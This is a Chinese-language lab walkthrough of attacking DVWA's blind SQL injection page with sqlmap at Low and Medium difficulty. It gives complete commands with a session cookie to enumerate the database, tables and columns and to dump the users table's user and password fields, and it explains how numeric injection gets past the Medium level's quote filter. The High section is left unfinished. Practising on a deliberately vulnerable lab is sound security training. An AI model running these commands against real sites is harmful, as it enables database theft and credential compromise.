一、Low
(1)、获取数据库名
sqlmap -u "你的URL" --cookie="你的Cookie" --current-db --current-user --batch
-u "URL":这个url是你主机里的ip,如果你的靶场在虚拟机,那你就打开虚拟机,找到ip,然后加端口号,和你打开dvwa的sql盲注url差不多,只用改前面一点
--cookie:在dvwa页面--> F12 --> 应用 --> Cookie --> PHPSESSID后面的值

--current-db:获取当前网站所连接的数据库名称。
--current-user:获取当前连接数据库的用户名。
--batch (Automation)自动模式。SQLmap 在运行中会弹出很多确认选项(例如:"是否进行深度测试?")。加上这个参数后,工具将全部选择默认(Yes),实现无人值守的自动化运行。
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" --current-db --current-user --batch


(2)、获取表名
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" -D dvwa --tables --batch
-D 参数用来指定你要查看的具体数据库。
--tables获取当前数据库下的表名


(3)、获取列名
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" -D dvwa -T users --columns --batch
-T 参数用来指定具体的表名
--columns获取指定表的列名


(4)、获取具体数据(脱库)
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=low" -D dvwa -T users -C "user,password" --dump --batch
-C 用来指定列名,用逗号隔开。如果不指定 -C,只用 --dump,它会把整张表全部下载下来。


二、Medium
sqlmap -u "http://192.168.136.1:8899/vulnerabilities/sqli_blind/" \
--cookie="PHPSESSID=2adqjdfiaqk26u1hh84ko162t6; security=medium" \
--data="id=1&Submit=Submit" \
--current-db --current-user --batch
URL 变化:去掉了 URL 问号后面的参数,因为中级通过 POST 传参。
增加 --data:这是关键。--data="id=1&Submit=Submit" 告诉 sqlmap 模拟表单提交,将数据放在 HTTP 请求体中。
Cookie 级别:确保 security=medium,否则服务器会按照默认或之前的难度处理请求。
中级虽然过滤了单引号,但 id 参数在 SQL 语句中通常是数字型(如 SELECT ... WHERE id = $id)。sqlmap 会自动识别这一点并尝试数字型注入(Numeric-based Injection),这种注入方式根本不需要使用单引号,因此后端的过滤措施在中级难度下对 sqlmap 基本无效。
后面的步骤同Low
三、High
先欠着,有时间想起来这个了,再来完善它,想不起来就算了